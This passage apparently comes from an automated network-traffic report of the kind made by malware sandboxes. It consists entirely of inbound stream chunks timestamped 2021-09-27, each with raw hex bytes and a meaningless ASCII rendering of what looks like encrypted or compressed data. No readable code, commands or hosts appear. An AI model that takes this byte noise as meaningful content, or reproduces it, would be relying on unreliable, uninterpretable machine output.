a4 b3 03 b3 1c cc a7 ef ac 94 d2 5c fe 83 65 ec c4 d5 ac 86 e3 8f 9f d3 2f 43 12 4e 7f df a2 7a de 34 bc 63 da 02 f7 d8 2a 2f 59 f4 d0 7e e1 a3 34 a1 3b e4 b9 95 06 34 f3 7b 57 2b 4e 7c 02 Data Ascii: LoRuH9_ZCqzAl$fd\|!>b<7Y!G-MNc@mpp)Kb`E=7aVODt#h,m"0~%"sV]xD?~Tp.T6\|0W%\e/CNz4c*/Y~4;4{W+N\|
2021-09-27 18:33:32 UTC	1220	IN	Data Raw: 9f fe 1e 67 dc 39 20 ba 78 36 bb 6b 70 12 1d 24 fc 6e 46 67 7d 39 92 d6 3b 3c 9a c6 c5 51 44 92 1f ae 0e 06 3a bf b9 f1 58 a0 2f 44 0d 2b e4 bc 6b b3 01 76 6d 59 21 1a ef 20 e3 a0 af ca d4 49 02 7a 5d 69 86 f1 b0 53 55 ff 58 72 1d f4 d5 50 5c 79 28 aa 4f d2 60 6c 8a 5c 43 20 2f 80 f9 7c 0b 8e d8 0b 65 5d 22 eb 98 7c a6 e0 9f 57 fd 94 11 1f 6f bd f0 db ba e8 b7 ee d1 88 4c a9 03 5f 10 ad 08 34 03 2e c1 28 87 75 ea 02 25 70 6d a3 06 bc bf e9 92 ca 4a 87 62 59 e4 25 ed 78 1d 65 d6 12 b8 96 e3 38 9f ad d5 ae 94 c6 4c 87 7f 8d 69 9f b7 02 25 7f 88 d1 72 cc 7d 12 a3 93 63 7f 6d 7f 7e bc 79 8a e2 27 ed 20 f5 a7 b2 40 b0 9d 52 77 dc 2e 1e fd 4e 69 bd c2 a2 57 de 89 0f 34 e8 03 bd f1 6b 9b f3 c2 27 4f ec 08 02 09 63 04 64 46 80 19 96 8c 51 f7 67 84 f8 a6 bb 88 e3 Data Ascii: g9 x6kp$nFg}9;<QD:X/D+kvmY! Iz]iSUXrP\y(O`l\C /\|e]"\|WoL_4.(u%pmJbY%xe8Li%r}cm~y' @Rw.NiW4k'OcdFQg
2021-09-27 18:33:32 UTC	1225	IN	Data Raw: 58 5b 1b 44 ae 74 bf 50 76 0c a0 28 90 1d 26 d9 a7 62 56 2d 45 55 e7 b6 bd 09 53 d7 b6 99 fa 49 0d 57 49 51 f6 d0 71 63 35 0b 0d ba af 1a ec 15 87 44 53 11 a7 85 6e 79 2c f8 21 9c 7d 75 d5 c0 ca 6d 00 7b 8c 49 79 75 a3 f8 89 91 9b 2e 27 9a bb fc ea c5 8d 74 eb ea 04 09 60 32 6c 84 97 d2 f6 87 d7 78 60 ba ce 35 d4 8a 8c 07 29 3c 43 df de da 10 a6 c7 38 7b 6a 2a 68 a6 a6 be 66 c4 09 bd 46 63 c7 9e df b3 8d 5f db 6f f2 ec c0 df 52 52 35 23 32 d0 7a d4 47 29 65 23 74 ea 12 1e 43 a7 d2 6b 73 9d e4 34 45 c8 ef 6c 21 ae 56 64 57 ec 13 d8 23 d6 49 ab 33 0c f9 62 82 14 1a 4a a9 88 da d7 d7 09 50 65 93 77 2a 16 15 43 50 79 51 9a 26 e0 48 86 b2 8f 51 39 0c 2e f3 89 a8 10 19 7b 59 8a 1d 57 5a a8 04 09 5b 9b f2 f0 f0 38 79 8a e9 9b 47 4a 8a 53 d4 a9 19 44 6e a6 2a df Data Ascii: X[DtPv(&bV-EUSIWIQqc5DSny,!}um{Iyu.'t`2lx`5)<C8{jhfFc_oRR5#2zG)e#tCks4El!VdW#I3bJPewCPyQ&HQ9.{YWZ[8yGJSDn*
2021-09-27 18:33:32 UTC	1229	IN	Data Raw: fc db bc 25 46 9f 36 b0 54 c1 1c e2 09 a7 06 eb b3 03 8a d0 c5 08 df 8d d6 33 31 8a 4e 17 48 23 2d 25 aa 44 dc 08 69 90 c0 7d 9c 72 9f 96 d4 20 e0 24 dd 5b 7a fc d1 c8 ef ef 7d 3a 33 3e 64 50 61 c7 db 6f 86 fb 72 96 60 cd d9 b3 0a 0e 28 17 4c 70 3c b8 6f 8b 48 1d 74 31 47 03 4b c7 de 32 d7 08 bb e7 e8 af 43 2f 56 77 99 88 4a 71 a3 27 4a a4 19 ca 0d 74 23 68 2c fc 15 44 8c c7 79 eb 84 fc d8 13 b1 a5 91 1e 7f 8f 63 cf 3d f7 a0 af 01 7b 3c b2 3d b1 54 1d c3 0c 47 32 86 c9 cf c8 58 d9 72 8e f2 e3 88 cd e7 66 3d c3 e8 1e 3b 86 f3 b8 e3 83 c7 14 18 03 bf 5a a8 a1 09 17 38 1e f6 e3 9d 7e 34 0c a5 cb d4 3f 3e 84 c1 4a 92 ca 45 1f 8d 70 26 cd ce fa 4d 02 5b 77 e2 b2 a3 8d 44 76 36 0d 56 2b b6 81 80 1a 31 2c 31 f5 00 d9 7b e4 ee 3a c0 95 66 f2 91 5b e5 20 57 0c 1b Data Ascii: %F6T31NH#-%Di}r $[z}:3>dPaor`(Lp<oHt1GK2C/VwJq'Jt#h,Dyc={<=TG2Xrf=;Z8~4?>JEp&M[wDv6V+1,1{:f[ W
2021-09-27 18:33:32 UTC	1233	IN	Data Raw: 9d 84 15 a8 37 85 47 e2 1b ae 90 e0 a0 03 5d 1f 6f 61 c3 7f e9 27 4d b9 d7 bd f6 fa fc 80 10 67 59 f7 d8 8b 7e 1d 60 e7 4a 93 7c ff 39 55 c7 cb d0 87 02 23 70 2d f7 c9 cf 7f f6 fa f0 eb 42 04 54 16 19 ce 51 3e b8 d6 4a 19 6a 8f 2f 4b 08 37 26 94 c5 81 18 11 2c c1 ec 12 1e ce fc f3 6d 99 7a 37 85 11 8c d6 ce 5d dd a3 3d e9 29 47 2e e1 ac 2d b1 22 76 66 f7 08 27 13 5c d7 ad 66 52 43 d1 23 a1 d7 c1 f5 67 c8 71 8d 33 31 47 1f 71 68 f4 1b 7b 93 5a 2c d4 02 99 83 89 70 2d 4e 63 28 bb d1 d6 27 ef 42 85 3a c2 59 7f f8 15 99 4a 9f 2c 38 f5 55 e5 97 39 9c c2 bd 09 8c 29 ea ef 6d a5 39 0d a5 ce f5 56 64 5b 60 e5 67 de 25 77 a3 f0 4b ea cd 02 ab 0b 8f 71 ef 77 96 cc 43 23 c8 90 bb 0d 93 53 f6 e5 27 75 44 6e 0f d6 20 fa 24 c9 3d 02 d9 cb 8c f8 f7 d9 2d 2e 0e 85 25 50 Data Ascii: 7G]oa'MgY~`J\|9U#p-BTQ>Jj/K7&,mz7]=)G.-"vf'\fRC#gq31Gqh{Z,p-Nc('B:YJ,8U9)m9Vd[`g%wKqwC#S'uDn $=-.%P
2021-09-27 18:33:32 UTC	1237	IN	Data Raw: 17 a9 9e cd b4 12 f8 5b 57 97 8b 7e 64 95 ad c5 d6 0f 93 15 28 f4 95 46 40 6b e0 2b 19 95 1f c4 44 9a 58 be a1 ef 39 6b bd 4e 2b 93 cf ac c0 b4 1d c5 71 10 4a 93 18 a6 ba 7b 01 d5 cd 44 c0 8b 87 47 2e a4 74 af b9 f8 1d 75 cb 53 b7 83 9a 15 e0 b8 8e a0 d5 a9 81 73 10 53 dd 3d 57 2f d2 b2 52 0d d4 71 35 33 e0 91 d8 ad ad 97 d3 10 81 ac c5 bd 3d cc 5e d4 fb 3e ab 2d 6f a9 50 52 19 89 8a 7c a2 b8 a8 67 54 c0 2e 5a 76 d5 ab bd aa be 8f 4c 42 de fb 26 d7 98 07 8e 5a 8f be db eb 91 52 7b 9a 1c 85 3a f6 3e 03 d3 33 df 3d 19 ec 0d be 11 9f aa dc 14 ea 01 80 52 d3 8a 2d e3 f5 59 eb 2b bf 21 31 0f bf 7e cf 30 25 18 c5 f3 3a eb 66 75 a8 d1 c7 17 8c dd 95 c9 cd ad cc 02 83 aa 84 89 b0 46 2c ba 19 3a 3e bc bb e9 bd 98 2e fe ad e6 e1 42 96 9e 92 2a a7 8c 83 26 c2 ca a8 Data Ascii: [W~d(F@k+DX9kN+qJ{DG.tuSsS=W/Rq53=^>-oPR\|gT.ZvLB&ZR{:>3=R-Y+!1~0%:fuF,:>.B*&
2021-09-27 18:33:32 UTC	1241	IN	Data Raw: 7f 5d 5a f5 e0 5d 67 74 d8 6c c0 25 3e 53 44 87 05 c6 09 31 e4 2a 7b 2b 9b ec 5b 76 fd ff 32 23 20 6f 0a 3b 8b 6c 13 f4 2c 0b d0 32 cf a8 18 88 ad ac b0 2e 40 85 3b d9 6c d5 b1 8b 93 49 a8 7a bc a5 40 70 2f 53 82 ea a3 78 c4 85 9e 76 39 57 fe 15 dd 5e bd 2c 4c 12 03 1c 0f 3e 14 75 69 c4 94 67 2b b2 78 00 37 10 73 99 4f e4 f3 d4 cb 83 36 99 42 d0 ad bf 0e 77 4c 38 0d 84 79 d9 7e fc 8a bf 20 e1 18 c3 eb 27 5f 30 10 de 12 2e c4 9a 5d 2d 5e ee 40 f4 2c 13 5f 5e 51 72 50 90 22 cb e8 b2 22 61 da ca 77 55 23 c3 75 da 7f 59 df 46 53 9b d3 58 ee a6 b1 87 52 0c 6f 8a 8b 50 82 d9 b6 3c d4 03 13 76 61 5b e2 04 0e e8 59 d8 2c 39 b5 8c ad dd cc 58 b1 7d cf 10 08 5d 1f e1 33 83 a9 df be 94 5a b7 88 b7 75 0e 1f e8 f1 60 95 c6 5e 62 32 6f c9 c3 b9 34 c5 d2 0b d9 18 3a e2 Data Ascii: ]Z]gtl%>SD1*{+[v2# o;l,2.@;lIz@p/Sxv9W^,L>uig+x7sO6BwL8y~ '_0.]-^@,_^QrP""awU#uYFSXRoP<va[Y,9X}]3Zu`^b2o4:
2021-09-27 18:33:32 UTC	1245	IN	Data Raw: 76 0f 9d f6 70 33 19 4d 3d 93 ad 2b f9 d2 3c a1 89 b1 57 ea 7f 99 fe ff 40 60 61 9f f3 df f3 c7 e0 f8 18 2d 43 0a 20 65 c6 09 6d c1 38 54 7f b3 29 97 ab d3 5b 7c 0d 9a c5 93 c5 dd 26 b7 94 63 bb 53 4e 0d 70 ef 0b 88 d5 7f e3 8c 5e 24 e1 bc f0 a9 eb e9 7b fe 46 d6 fc f8 57 83 81 35 57 14 c6 24 1f 44 55 9d af d0 39 db 65 7d fc d9 b9 f8 54 b9 9c d1 c0 6d 9e 1b 09 09 d4 4b 72 36 2b 24 1a db 14 25 46 3b 4e d3 81 d2 01 8c 72 53 5f 84 a5 70 1e 6e 4d e6 71 f1 2d 19 d3 d2 be 37 05 e6 1f 95 d5 d7 a4 b1 d4 61 d3 7a a7 23 aa 35 a0 a1 27 4e c0 f1 60 ec 9d 80 06 3e b5 17 c3 b1 50 76 49 09 ed 6f f4 ef c8 65 6a 16 2f a9 46 a6 bb e9 47 90 c7 1f a9 9b 46 86 e2 d0 e7 94 63 d8 32 d3 bd 3b 40 ae 17 fc cc 04 10 ac 4f a5 3c b8 6e 23 da 44 87 7e 14 08 7a 09 c5 20 8f 68 70 dd 41 Data Ascii: vp3M=+<W@`a-C em8T)[\|&cSNp^${FW5W$DU9e}TmKr6+$%F;NrS_pnMq-7az#5'N`>PvIoej/FGFc2;@O<n#D~z hpA
2021-09-27 18:33:32 UTC	1248	IN	Data Raw: 1d 86 6b aa a2 b8 b1 08 3d 2f 41 02 7f 9f f7 4a 81 36 82 1c e3 6f 76 03 bf fa 27 4f f6 e4 01 a2 fb 45 a4 87 76 19 c6 74 59 04 fb 5e 5b d7 0e 0f 9e b0 9f 26 94 c0 db 8d 9a 47 31 5b d9 4c 3a ab 11 83 c4 68 37 34 a2 bc 28 ce 8e cd 28 1b 43 07 af f2 b1 ae 93 62 5d d1 cb 8e ff e1 c6 73 55 df 6d b6 ae 98 cd d3 e3 98 0a 71 a6 b5 c4 22 d9 54 4c 3f 24 66 46 82 0a 7f 8a 5c 66 40 bd 32 e7 c5 16 78 d7 ac 0a 2a dd b9 b7 15 4d 2f 57 ee 48 b7 5e ad 79 56 61 e1 94 dc 27 07 bc bb d7 5b 73 ab d5 39 8c 77 34 a6 8c 56 a9 e4 b7 e5 99 87 61 f3 6e 2c d2 06 2c 19 39 3d 3c e8 08 e3 bc 68 2b 98 f5 52 04 51 35 ce 5b 63 1c f0 e8 1b 80 2a ff 54 72 98 92 d2 5d 5a 43 00 fd 04 3b 69 c8 e7 fe cf f9 26 b8 2d 76 36 97 ae c9 98 dd b7 cf 57 f4 57 46 d7 bc c4 a2 a0 86 d0 a7 04 60 41 1e 42 36 Data Ascii: k=/AJ6ov'OEvtY^[&G1[L:h74((Cb]sUmq"TL?$fF\f@2xM/WH^yVa'[s9w4Van,,9=<h+RQ5[cTr]ZC;i&-v6WWF`AB6
2021-09-27 18:33:32 UTC	1252	IN	Data Raw: f1 c2 97 43 aa cc 55 2b 7d 93 6c f8 5a 82 3a 93 e9 05 9b 57 e7 9c e8 28 73 c7 2f 26 88 b9 c7 40 d4 c8 04 60 78 40 3c d5 47 3f 14 20 c1 44 fa 09 d4 70 6a 0e b1 6f a7 38 45 5a 7a 03 b3 cf a0 0d 03 b2 44 7d d4 27 98 b2 88 3a 11 9a 47 35 3b 08 e8 72 3c 95 7d ae 86 62 7f 39 cd fe 49 67 5b ea b4 73 86 28 b0 c2 03 30 48 05 9c 49 c1 0e 39 ff a5 9c 24 fc 13 e0 09 60 6b b3 22 2a 63 30 ec 3e 14 da 04 25 61 d2 74 00 94 bd 12 66 14 4a b8 e2 69 5f 9b 08 0c 48 16 6e da 53 b1 53 b6 1a 96 38 98 a7 14 4b 99 2b 5a 4e 2a fa f0 01 be 76 1b 76 a8 cd 7c a2 ba c0 81 df b4 4d 7f 94 fd 49 96 f1 c0 85 48 2c a3 af 30 77 65 e5 3e c7 5f b1 35 8c 1e 42 7f b6 a8 9b f4 a5 39 1a 31 3c 58 5e 27 ab 33 f9 53 eb 60 2b 54 65 d7 07 17 98 73 f8 ff 79 b3 f3 e6 93 4e 68 fb 76 05 89 58 5b 6e f3 47 Data Ascii: CU+}lZ:W(s/&@`x@<G? Dpjo8EZzD}':G5;r<}b9Ig[s(0HI9$`k"c0>%atfJi_HnSS8K+ZNvv\|MIH,0we>_5B91<X^'3S`+TesyNhvX[nG
2021-09-27 18:33:32 UTC	1257	IN	Data Raw: d0 4e d6 1d c4 68 3a 98 b6 fe d7 ee ea 8e fc cc 4f fc ea 91 37 97 6d 1e 65 ef bf 18 33 1f 53 43 5e 5c 95 59 a5 31 cc 8a d8 3e b5 21 02 2b 0f 85 be 42 e6 19 8e 29 30 fb 20 ed 7d db af 31 3d 81 a7 9b a5 15 1e 3b 12 22 20 81 95 7a 7c 35 15 6f 36 bd f7 76 ad df 9c 04 c0 40 94 32 bd ea 12 1e 41 3a 8f 4a af 2e 20 e3 87 6b b8 06 b1 7e 9a 7a 81 a3 87 4e 6b 93 2c ae 9f 6a 04 82 3c a8 40 bf 8b ce f5 d0 22 e6 a7 2c 6c 8d 11 7e 0b 9f 38 7f f5 6d d4 a4 f7 68 f9 4e 7f 40 9b 5a 02 a2 ec 18 27 e3 b8 71 6f d2 44 85 d0 7f 92 41 32 37 2e 0b a1 33 00 8c 92 c6 52 e9 ab 07 37 0d 62 c4 66 4e 7b 5b b1 17 9f e3 5f df 68 54 64 10 61 64 d0 40 15 ea 11 e5 33 70 f5 a4 00 1c d3 9a 74 c3 dd 3f d9 19 64 ce f3 2d 04 c4 db 81 47 f8 29 d7 ad d0 d2 19 66 cd 79 bf e2 0e 36 c5 ff 0f 89 be 04 Data Ascii: Nh:O7me3SC^\Y1>!+B)0 }1=;" z\|5o6v@2A:J. k~zNk,j<@",l~8mhN@Z'qoDA27.3R7bfN{[_hTdad@3pt?d-G)fy6
2021-09-27 18:33:32 UTC	1261	IN	Data Raw: 59 f2 38 49 41 08 9c d7 6e 28 68 50 73 aa e9 6e ff 0f 8e e0 c6 4c 44 b6 61 f2 ce 60 b7 3d cc 4d 16 7c 9e 02 95 4f 91 46 cb c9 b5 b7 74 2b 4f ba 69 0c 3a b6 e4 31 67 eb 63 40 5c 51 e6 d2 dd a5 54 71 2a a0 b1 5f cd a7 e8 6c 15 87 3d 3d 45 fa 26 99 ba 6b f8 e7 f0 46 d0 2a 39 21 3e 5d 11 7c 44 89 5a ab 9e 4f 4d 1d 47 23 49 e0 bd 00 2f 5f 12 a3 37 33 cc 7a 82 1f 4e 72 f0 e9 89 67 d5 8d 57 2d ae a1 9b 74 30 1e 53 87 3e dc 33 cb 0e c0 13 a3 ff bc 5a a8 43 33 f7 3d 29 ed 92 86 8b eb f4 e7 c1 89 4d b3 2b 44 be b7 4e 7a a4 c2 7e 37 0b 7c 34 47 01 a4 6a 86 eb b3 25 9e b5 fe d6 35 5c c9 1d da 2c ab 16 4e 75 cc f4 8e 92 cf 92 cc 88 e4 10 25 d5 8a ec 2b ea 1e d5 9a 4e 71 a9 2b 56 4b 26 73 d9 23 57 d8 93 89 c1 0b ca 61 21 8b f0 2c b8 d8 1b b1 f4 55 c7 c4 4c 47 73 b6 48 Data Ascii: Y8IAn(hPsnLDa`=M\|OFt+Oi:1gc@\QTq_l==E&kF9!>]\|DZOMG#I/_73zNrgW-t0S>3ZC3=)M+DNz~7\|4Gj%5\,Nu%+Nq+VK&s#Wa!,ULGsH
2021-09-27 18:33:32 UTC	1265	IN	Data Raw: d1 c3 68 20 56 f1 c7 e8 e6 fa f6 05 8c a5 35 c6 44 f4 01 1c 31 43 38 cc e2 07 98 ce fc 3b e4 13 30 62 1c d9 b6 37 fb b4 5a 75 6f 85 b7 21 8a 81 c9 17 49 16 8c 87 12 af af 8a fd db c7 70 94 cf cf fe 04 29 fc 97 4a 5c 4e 13 6e 85 15 41 06 81 b1 76 18 bd e0 1b 70 29 9a 5f 89 01 ac 96 b5 77 5d d2 1c 73 1a 68 b7 cd da f5 6a 40 3e 7a 7e c3 d3 92 8a 32 ce 54 7c 05 02 14 a2 01 17 9b f1 73 03 ae 29 27 21 a2 88 2e d8 fe 2e a3 38 b1 b8 b5 02 40 35 3f c6 ef 7b 21 fd b3 08 27 e6 79 cf bb 06 09 12 6b e8 fa f4 e8 c7 2b 7f 86 f0 05 1b 65 4e e7 06 3c 57 47 47 1f 11 e0 fe 75 c7 f1 41 7d bb 76 44 e5 88 31 9d aa a3 3f 74 59 54 2d dc 6e 89 13 84 f8 2c 9d b0 a4 8b 8a 5f 2b 9b e0 13 f0 7c bf a2 e9 12 5d 68 94 5c b5 73 22 99 46 59 8b b8 d5 c3 2c b5 e7 ea 38 39 b9 a6 d2 6b dd a1 Data Ascii: h V5D1C8;0b7Zuo!Ip)J\NnAvp)_w]shj@>z~2T\|s)'!..8@5?{!'yk+eN<WGGuA}vD1?tYT-n,_+\|]h\s"FY,89k
2021-09-27 18:33:32 UTC	1269	IN	Data Raw: 08 09 9d 9f 3e 84 5d 8d 09 94 f2 9f 81 75 0b 93 37 b7 14 2b 5d 52 42 33 37 51 82 45 b6 e7 9e 8f a7 47 3c bb 81 b1 1c 3f ee 3e a5 b8 4d cc 1b 68 ea 01 dd a8 97 3d c7 95 4e 03 dc 7e 88 e4 d9 51 2f 73 b7 1f c7 c7 54 ea e4 d3 6c 51 ed a0 37 12 82 bb 81 ef 29 ee 0a 6a 09 ae d6 aa 80 c1 8e 63 fe fb 7d 4a 12 1d 10 2a 84 66 42 a9 5e b7 f0 fc ce 4c 7b 67 df 18 df ab 04 75 13 66 b1 a7 37 2a 12 a4 9a 00 96 37 b0 d9 5a ac 62 da 72 54 1c f9 5d 35 a2 4d 3b f3 3c 46 0a c0 d7 e3 c5 80 56 1e 77 2f 6a 02 ef c9 73 a1 99 50 9a 7d da 3c 3f 66 2c 0e 76 8d 71 63 9b d1 5f 6d 31 f6 e0 03 82 b3 13 80 3f ea fa ff 51 8a af 22 a9 9d e0 41 af 4e 41 3f b7 60 99 52 5a a9 a8 4f 8f d6 3c 94 3f 5e b7 f8 7a e2 cb 80 2b 1b 4b a8 cf ad 03 30 2e 95 46 88 ef 36 d0 78 af 4e d0 4d 64 93 71 2c ec Data Ascii: >]u7+]RB37QEG<?>Mh=N~Q/sTlQ7)jc}JfB^L{guf77ZbrT]5M;<FVw/jsP}<?f,vqc_m1?Q"ANA?`RZO<?^z+K0.F6xNMdq,
2021-09-27 18:33:32 UTC	1273	IN	Data Raw: 4f 1a b6 73 3d 72 29 ba d6 f4 40 30 32 ed d0 ae 60 00 97 dd 0f 8c 79 9b fa 8d 40 a1 3f 9e b6 f5 82 78 91 f4 c2 e5 96 66 aa c0 7c b0 35 57 5c 83 85 17 83 a3 d2 87 75 bf 3c f6 f1 a1 b8 d7 fc 4e 82 af 39 a2 51 8e 26 1c 06 3e be ac 93 47 45 db 49 f9 41 48 9d 50 71 c9 c7 6f c0 2a 11 58 88 d7 12 e8 c0 b8 f6 a5 7a d0 24 8b 83 8e be 8a fe 81 b6 3b 53 39 a7 af be dc 6a e3 69 78 ec 12 f4 39 47 28 55 c3 f4 a0 f3 3e d4 58 d9 01 96 eb 89 b9 e4 67 d9 72 33 55 dc 4c bc d2 0a c2 73 d6 b3 30 a2 0a 04 21 43 f2 76 b0 33 ec 04 5d 04 f2 c4 96 b0 20 1f 1e 99 06 8f 98 a5 ba 21 07 83 b4 df e0 46 50 e7 28 df 3d 5d 4c f9 ec 50 52 dc db aa 77 1c 27 37 bc 80 3b e3 c0 b1 4b 34 2d e1 22 6c a8 d3 c1 c1 cc f3 56 88 3c 66 6e 7d ac 75 5c f7 04 f9 20 18 90 4d eb 08 4e 8f 2e 40 f7 7c 28 cb Data Ascii: Os=r)@02`y@?xf\|5W\u<N9Q&>GEIAHPqo*Xz$;S9jix9G(U>Xgr3ULs0!Cv3] !FP(=]LPRw'7;K4-"lV<fn}u\ MN.@\|(
2021-09-27 18:33:32 UTC	1277	IN	Data Raw: 42 f0 c0 29 3e 30 70 b9 09 0a 0d 83 03 1d bd 35 f3 b9 c2 54 2e 5b 3b a1 18 b3 e2 67 3b 4a 61 10 09 50 85 54 fa 94 a6 42 d3 59 d7 a1 14 d8 1c 9a bc f8 97 0f f0 f9 e2 e9 9d 76 67 93 97 ed f8 1c 53 f0 68 17 ff 17 81 c2 dd a4 75 2d 08 5a 9d a4 67 d2 d6 17 76 da cd cd 66 fc f0 e5 16 f2 62 89 ca f5 36 7a 63 bb b2 9d 65 71 ec b9 74 15 9e b5 4e 71 cb 0f 5e 86 13 f7 4b 7f ae a3 23 cc 83 71 40 09 a1 f5 51 a9 01 0b ef 66 74 ac 14 de 10 0b 97 52 08 f2 e8 f8 ce 4e 2f d6 3f d2 cf d6 f8 79 d3 f4 77 bf 48 3f 7f 49 6e 2f c7 a3 57 35 6d dd 7e 76 3d 1f db 0c ee b5 a4 e4 8b ae c2 f1 dc 2e 08 e1 da 54 90 7a 03 d5 44 c1 e4 d6 f8 4b 9f e7 ba ed 79 eb 24 4e 0f 6c 63 dc 9f 7b 94 00 33 7a 6f 8b 4d 5b d1 13 94 de a8 6c 25 13 ac 26 ba 59 df 44 6d 49 68 94 e1 8d f4 cd 66 90 f5 d2 72 Data Ascii: B)>0p5T.[;g;JaPTBYvgShu-Zgvfb6zceqtNq^K#q@QftRN/?ywH?In/W5m~v=.TzDKy$Nlc{3zoM[l%&YDmIhfr
2021-09-27 18:33:32 UTC	1280	IN	Data Raw: 21 1d a9 0f 19 69 99 73 0f dd 7d 87 67 43 7e fc 2b cd 14 46 b8 b2 9e 9f e7 f3 fa ee 46 0b af f5 b2 89 05 f1 db 51 1c f7 76 65 4a be ba 47 b4 3e 62 e1 b8 e1 89 b9 1a 59 b1 77 50 81 94 ba 7b 53 c4 fe 74 04 6b 20 f5 d4 7b c4 7a 1e 04 aa 48 a8 58 6c 65 c7 56 b1 b1 46 48 e5 a2 47 3b 19 c7 1f 59 2c 2e a2 d2 70 59 3c 28 cf 04 6e af 81 b3 48 e1 b1 36 23 13 a3 b5 28 a5 b3 8e 18 f3 e5 06 35 1a 3c a7 fd ae 53 d8 76 de 97 d7 b7 b7 0e 46 0c 8d aa d6 32 c5 a5 ee 6e 79 69 b7 7d 61 d8 c6 ac 82 0e b2 82 f6 87 35 21 92 bf 27 99 a2 08 0b 21 b8 ec a8 68 39 7f 3f d4 21 01 73 2a 19 ca c8 17 da a9 a9 27 fd aa 67 61 c4 76 c3 eb 0c 3b 93 89 8e ad bc db 13 27 1b 0f bc 74 9d 36 f9 17 93 69 6d ba c9 aa 8b 8a 78 dd 04 76 6f 26 b6 56 f1 96 15 3d 85 44 c2 e2 12 42 c7 dd 04 8a 17 83 5b Data Ascii: !is}gC~+FFQveJG>bYwP{Stk {zHXleVFHG;Y,.pY<(nH6#(5<SvF2nyi}a5!'!h9?!s*'gav;'t6imxvo&V=DB[
2021-09-27 18:33:32 UTC	1284	IN	Data Raw: 52 72 d8 ca ef 27 7f db 2f 69 37 cf 05 c1 63 91 e3 05 a9 c5 77 d9 0f ff 2a 9c a5 72 83 c5 b2 a0 43 0c 2b 86 d8 f4 7b c2 e1 80 a6 63 bf 76 a2 99 02 16 f3 03 13 95 21 b8 4d 3a e9 6b 14 68 d5 df 03 f7 f6 b4 84 1d 20 a7 d6 1e ae 02 85 c8 72 c4 bd 07 fd e9 bb 6f 91 80 18 d0 f2 48 14 fc 35 50 ca 01 a4 f1 4d ad 00 5c a9 5d 65 38 8c 53 77 cf c7 10 51 f3 98 f3 a0 52 8f 74 70 fa 49 e2 9a c9 96 bb 9a 88 e6 26 c9 30 6a a3 c9 7d 9f 2c 5c 5f 13 89 1e 32 71 fb 2a 0e a8 c5 f9 e5 f6 e1 16 10 2e f6 48 9a fb 47 01 13 06 f4 4a a0 3a 52 c9 9e ec 2d d2 96 c7 33 9e 51 37 a8 3d bb d5 57 c7 f2 2e 52 8c b0 18 0a 03 5f 2c 6d a6 db b7 66 e2 ec 06 6b fc 89 4d ea cf 00 c8 10 9a 6b dc 14 8e 3c 53 fc ec de 1d 6b 7f 8d 82 f5 52 7f 58 cd 02 cb c3 58 8a d6 a1 f8 58 de 6c 38 0a 74 00 af d7 Data Ascii: Rr'/i7cwrC+{cv!M:kh roH5PM\]e8SwQRtpI&0j},\_2q.HGJ:R-3Q7=W.R_,mfkMk<SkRXXXl8t
2021-09-27 18:33:32 UTC	1289	IN	Data Raw: 07 71 4c 99 bf e0 10 d2 d1 2d 3b 01 3e 6d 43 2e 20 09 06 a2 df 8c ab f0 89 d2 b8 fb 80 20 96 38 ef 54 f8 98 1e 07 01 6c e0 af bd 86 de 82 7e ac cf c9 5f 90 c6 85 f0 52 c2 52 32 3d 77 77 33 1c 99 7c fc 5a 3e 58 ae 74 5e 7f d3 97 15 2b 8b ca 4c 91 7a 96 19 89 f5 87 5f 51 0d 57 49 15 ad c2 5f 7d 96 5f 5f 1e 3e 18 b8 de a5 a5 c3 5e 2d 1b 92 a0 49 7f 07 8f 72 cf 1d 1f 43 54 76 50 35 1a 3c 71 f5 5f 47 3f 93 d1 c3 ee a1 b6 a1 a8 1a 2a a1 dd a7 3d 70 3b 1d 47 f8 e3 72 43 2c 02 09 1d 79 f5 86 35 8f fb b0 c4 4b ff a9 12 3e 9a 3c 0d 75 dd ab 15 22 73 38 c7 45 f6 f4 5c f7 5e f4 54 1e 65 0e 1c ec 4d 56 82 90 7e 1d 24 bb 41 2b 82 4c d7 6f bf 69 a3 7c b4 89 c8 3a 62 cd e7 4f 56 1d 9b 98 b5 be fe a5 e2 3d 10 9f 24 dc d5 81 2d 7f a6 8a 37 af 2a 80 5b 9e 21 a8 e8 aa 87 bb Data Ascii: qL-;>mC. 8Tl~_RR2=ww3\|Z>Xt^+Lz_QWI_}__>^-IrCTvP5<q_G?=p;GrC,y5K><u"s8E\^TeMV~$A+Loi\|:bOV=$-7[!
2021-09-27 18:33:32 UTC	1293	IN	Data Raw: c1 61 ca 9a e2 0d e4 b5 22 64 e2 2b fe 81 ae eb a4 c9 20 55 28 0e e5 51 be 23 8f 9b 7b f3 d3 c9 dd 47 77 e3 b1 f1 73 88 80 21 eb 87 bc 15 db 4a 59 bc ac 95 0e 95 60 97 9a bf c9 2d a6 5f 12 89 35 ec c3 76 7a 1b 7a ee 81 39 d9 5d 3f ef dd c7 e9 9a 71 2b eb 4d e8 1c b8 d9 49 12 45 82 22 3f 68 d7 44 a5 79 e3 2e a7 d1 a9 b1 81 84 52 13 85 21 6b fd 5c a5 0a 42 16 24 d1 02 89 14 56 36 d4 3b 5c 47 ae 10 21 14 20 db 1a 09 52 f7 34 8f c7 e5 bb 09 bc 33 38 96 d0 5d 26 3b 53 8c 75 c8 95 a7 ac af 5e f8 23 23 26 52 b5 87 0c 89 b5 d5 1b ca 87 25 3a 3c 9a d7 14 d6 53 a6 5e f9 57 c3 db 7d 82 46 e9 a3 19 e8 22 c8 0b 52 0b 53 df f1 5d 66 d8 1a 00 ff 57 5a 10 75 16 69 4b 30 7e c0 08 f6 db 4a 4b 58 e0 6a fc 58 6f f0 20 94 17 62 af d1 f8 90 99 e3 a1 27 0d b9 96 6a 3b 1d 67 2b Data Ascii: a"d+ U(Q#{Gws!JY`-_5vzz9]?q+MIE"?hDy.R!k\B$V6;\G! R438]&;Su^##&R%:<S^W}F"RS]fWZuiK0~JKXjXo b'j;g+
